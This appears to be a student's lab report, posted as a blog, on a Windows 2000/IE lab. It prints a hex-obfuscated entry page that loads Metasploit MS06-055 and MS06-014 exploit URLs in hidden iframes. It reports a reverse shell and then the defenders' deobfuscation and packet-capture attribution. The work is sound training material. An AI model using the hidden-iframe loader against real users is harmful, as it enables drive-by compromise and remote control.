同时考虑到 Win2000 老版本 IE 对 document.createElement("iframe")document.body.appendChild(f) 的兼容性不如 document.write() 稳定,将入口页改为更兼容的版本:

sudo nano /var/www/html/lab11/index.html

替换后的入口页如下:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>
</head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>
<script>
function h2s(h) {
    var s = "";
    for (var i = 0; i < h.length; i += 2) {
        s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
    }
    return s;
}

var u1 = "687474703a2f2f3139322e3136382e352e353a383038312f6d733036303535";
var u2 = "687474703a2f2f3139322e3136382e352e353a383038322f6d733036303134";

document.write('<iframe src="' + h2s(u1) + '" width="1" height="1"></iframe>');
setTimeout(function () {
    document.write('<iframe src="' + h2s(u2) + '" width="1" height="1"></iframe>');
}, 8000);
</script>
</body>
</html>

修改后,MS06-055 session 成功反弹,说明统一入口已经能够完成至少第一条漏洞路径的隐藏加载和触发。

image-20260506140822606

image-20260506140941819

但另一个 session 没有按预期返回。Wireshark 抓包进一步显示,靶机实际访问了 /ms06055,没有继续访问 /ms06014。结合浏览器端漏洞利用特点,较合理的推测是:第一个漏洞页面触发后 IE 发生崩溃、连接被重置或浏览器执行流程中断,导致第二个 iframe 未继续加载。

image-20260506142047940

因此,本节结论:两个漏洞 URL 分别作为独立漏洞利用页面时可以进行验证;统一入口页完成了十六进制混淆封装和自动加载设计,但在实际 Win2000 / IE 环境中,由于浏览器漏洞触发后的稳定性问题,统一入口实际只观察到 MS06-055 请求和反向 shell,未观察到 MS06-014 的后续请求。

2.4.7 防守方解混淆与漏洞归因

防守方首先从邮件正文中提取统一入口 URL:

http://192.168.5.5/lab11/index.html

随后访问或离线查看 index.html 源码,发现页面中存在 h2s() 函数。该函数每次取两个十六进制字符,将其转换为对应 ASCII 字符,从而还原真实 URL。页面中两个可疑十六进制字符串分别为:

687474703a2f2f3139322e3136382e352e353a383038312f6d733036303535
687474703a2f2f3139322e3136382e352e353a383038322f6d733036303134

解混淆后得到:

http://192.168.5.5:8081/ms06055
http://192.168.5.5:8082/ms06014

结合 Metasploit 模块配置、URL 路径、HTTP 响应内容和抓包证据,可以完成漏洞归因。

还原出的 URL 对应模块 攻击对象 漏洞性质 证据
http://192.168.5.5:8081/ms06055 ms06_055_vml_method Windows 2000 / IE VML Fill Method 远程代码执行 VML 标签、behavior:url(#default#VML)unescape("%u...")、堆喷射、反向 shell
http://192.168.5.5:8082/ms06014 ie_createobject Windows 2000 / IE / ActiveX COM CreateObject 远程代码执行 URL 解混淆结果、模块配置、单独验证过程

需要注意,抓包实际观察到 /ms06055 被请求,未观察到 /ms06014 的 TCP 会话。这不影响防守方从入口页源码中还原出两个被封装的真实漏洞利用地址,但在攻击结果判断上,应只将 MS06-055 记为统一入口实际触发成功。

2.4.8 抓包证据与反向 shell 判定

防守侧抓包结果显示,192.168.5.10 首先访问 192.168.5.5 上的诱导页面:

http://192.168.5.5/lab11/index.html

随后浏览器被隐藏 iframe 引导至:

http://192.168.5.5:8081/ms06055

/ms06055 响应中出现了 VML 与 shellcode 特征,包括 urn:schemas-microsoft-com:vmlbehavior:url(#default#VML)unescape("%u....")%u0c0c 堆喷射填充等内容。目标 User-Agent 显示为旧版 MSIE / Windows 2000 环境,符合 MS06-055 浏览器端漏洞利用条件。

image-20260506142200426

随后,192.168.5.10 主动连接攻击机 192.168.5.5:4455。TCP 流中出现 Windows 2000 命令行 banner,并能看到攻击端下发 echoveripconfig 等命令且收到回显。这说明该连接不是普通 HTTP 访问,而是 payload 成功执行后建立的反向命令 shell。

image-20260506142235054

综合 URL 解混淆、HTTP 响应特征和 TCP Stream 命令回显,可以判定:内网 Windows 2000 主机访问统一入口后,实际触发了 MS06-055 VML 浏览器漏洞利用,并向攻击机 192.168.5.5:4455 建立反向 shell。攻击者由此获得了靶机上的交互式命令执行能力。MS06-014 URL 已从入口页源码中还原并可单独验证,但在统一入口实际流量中未观察到后续请求。

三、学习中遇到的问题及解决

问题 问题现象 原因分析 解决方法 经验总结
恶意页面访问后没有 session 返回 靶机访问 URL 后页面有响应,但 Metasploit 中没有会话 可能是网络不通、监听地址或端口配置错误、payload 类型不匹配、浏览器安全设置限制脚本或 ActiveX、IE 版本与漏洞条件不匹配,或漏洞触发后浏览器崩溃 先用 ping 和普通 HTTP 页面验证连通性;检查 SRVHOSTSRVPORTLHOSTLPORT;用 jobs -vsessions -l 查看状态;必要时重启 IE 或靶机;分别单独验证漏洞 URL 浏览器端漏洞利用不能只看页面是否打开,必须结合 Metasploit session、抓包和靶机状态判断
网页木马解密链条长,容易遗漏后续文件 从入口页找到 URL 后,后续又出现多层脚本、加密字符串和 EXE 下载地址 网页木马使用 iframe、script、eval、Base64、XXTEA、八进制/十六进制转义等多层隐藏;题目还使用 URL MD5 作为文件名映射资源 建立“入口文件—URL—MD5—散列文件—解密结果—下一跳”的分析表;每发现一个 URL 就计算 MD5;脚本继续解混淆,二进制文件转入静态分析;MD5 文件名统一小写且无扩展名 链式记录比零散截图更重要,逐跳记录可以避免漏掉二阶段脚本和最终载荷
统一入口页没有按预期连续加载两个漏洞页面 初始抓包只看到 index.html,修改后只观察到 /ms06055 和一个反向 shell,未观察到 /ms06014 老版本 IE 对 document.createElement + appendChild 支持不稳定;JavaScript 或 ActiveX 可能被安全设置禁用;首个漏洞触发后可能导致 IE 崩溃或连接重置 使用 jstest.html 验证 JavaScript 是否执行;在 IE 安全设置中启用脚本和 ActiveX;将入口页改为更兼容的 document.write();使用 Wireshark 验证实际访问链 实验报告应如实记录实际触发路径,不能把两个独立验证成功的漏洞写成统一入口中都稳定触发成功

3.1 恶意页面访问后没有 session 返回

浏览器端攻击实验中,最常见的问题是靶机访问了恶意 URL,但攻击机没有收到 session。该现象不能直接判断为漏洞模块无效,因为中间涉及多个条件:Kali 与靶机网络是否互通,Metasploit 的 SRVHOSTSRVPORT 是否正确,payload 的 LHOSTLPORT 是否与实际监听地址一致,靶机浏览器是否符合漏洞触发条件,IE 安全设置是否允许脚本和 ActiveX 运行,以及漏洞触发后浏览器是否稳定完成 payload 执行。

解决时先从基础条件开始排查。使用 ping 验证 Kali 与 Windows 靶机连通,再用普通 HTTP 页面确认靶机可以访问 Kali Web 服务。随后检查 Metasploit 中的 show options,确认服务端口、URL 路径和 payload 参数没有混乱。运行模块后用 jobs -v 查看 exploit 服务是否仍在运行,用 sessions -l 查看会话是否建立。若仍无结果,可以重启 IE 或靶机,并将两个漏洞 URL 拆开单独验证。

3.2 网页木马解密链条长,容易遗漏后续文件

网页木马取证分析中,文件之间不是线性的一跳关系,而是多层隐藏加载。start.html 先指向 new09.htmnew09.htm 再通过 iframe 和 script 加载外部资源,脚本经 XXTEA + Base64 解密后继续暴露 1.jsb.jspps.jsbd.cab。二阶段脚本中又隐藏了 014.exebf.exepps.exe 等下载地址。

如果只凭肉眼查看文件内容,很容易漏掉混淆字符串中的 URL。较有效的做法是为每一跳建立记录表:发现 URL 后立即计算 MD5,记录对应散列文件名;若是脚本文件,则继续解混淆;若是 CAB 或 EXE,则转入文件类型识别、MD5 计算、脱壳和静态分析。整个过程中要注意 MD5 文件名必须使用小写且不带扩展名,否则可能找不到对应文件。

3.3 统一入口页没有按预期连续加载两个漏洞页面

攻防对抗实验中,初始统一入口页使用 document.createElement("iframe")appendChild() 动态插入隐藏 iframe。Wireshark 抓包显示靶机访问了 index.html,但没有继续访问 /ms06055/ms06014。这说明入口页虽然被请求,但 JavaScript 执行或 iframe 创建可能没有按预期完成。

排查时先编写最小 jstest.html,通过 document.write()alert("JS OK") 验证 IE 是否执行脚本。如果脚本被禁用,则在 IE 安全设置中启用活动脚本、Java 小程序脚本、运行 ActiveX 控件和插件等选项。考虑到 Win2000 老 IE 对 DOM 动态插入支持不稳定,入口页改用 document.write() 直接写入 iframe。修改后 MS06-055 session 成功反弹,说明兼容性问题得到部分解决。

但第二个 session 仍未按预期返回,抓包也没有观察到 /ms06014 请求。结合浏览器端漏洞触发特点,较合理的解释是第一个漏洞触发后 IE 崩溃或连接被重置,导致第二个 iframe 未继续加载。因此实验结论应保持谨慎:统一入口实际触发并验证了 MS06-055,MS06-014 已通过源码还原和单独访问验证,但没有在统一入口实际流量中观察到触发。

四、学习感想和体会

本次实验最直接的体会是,浏览器端漏洞利用并不是“访问 URL 就一定成功”。服务端漏洞利用通常只需要关注目标服务是否开放、版本是否匹配和 payload 是否可达;浏览器端攻击还受到用户访问行为、IE 版本、脚本执行策略、ActiveX 设置、插件状态和浏览器进程稳定性的影响。统一入口页实验中,两个漏洞 URL 分别验证时可以成立,但封装在同一个页面后只观察到 MS06-055 被触发,这说明真实攻击链中的稳定性问题不能被忽略。

网页木马分析也让我更清楚地理解了“链式取证”的重要性。入口文件本身往往很短,真正有价值的信息隐藏在下一跳脚本、加密字符串和二阶段载荷中。只有把 start.htmlnew09.htm、外部 URL、MD5 文件名、XXTEA 解密结果、二阶段脚本和最终 EXE 串成完整链条,才能说明攻击从页面加载到木马落地的全过程。单独分析某一个脚本或某一个截图,容易得出片面的结论。

从防守角度看,邮件中的 URL 只是表层线索。防守方需要进一步查看页面源码,识别混淆函数,恢复真实漏洞利用地址,再结合 Wireshark 抓包和 TCP Stream 判断攻击是否真正成功。尤其是本次统一入口页中,源码可以还原出 /ms06055/ms06014 两个 URL,但流量中只看到 /ms06055,这说明源码分析和流量证据需要区分:源码能说明攻击意图,抓包才能证明实际触发路径。

本次实验把攻击构造、网页木马分析和防守取证放在同一条线上。攻击方尝试隐藏真实 URL、封装漏洞页面并诱导访问;防守方则通过解混淆、散列匹配、脚本还原、抓包和静态分析逐层恢复攻击路径。完成这个过程后,对浏览器漏洞利用的理解不再停留在“Metasploit 打开 session”这一层,而是能够解释页面为什么会加载、脚本如何隐藏、payload 如何执行,以及防守方应如何用证据链证明攻击结果。

posted @ 2026-04-30 20:08  4eversinc2  阅读(23)  评论(1)    收藏  举报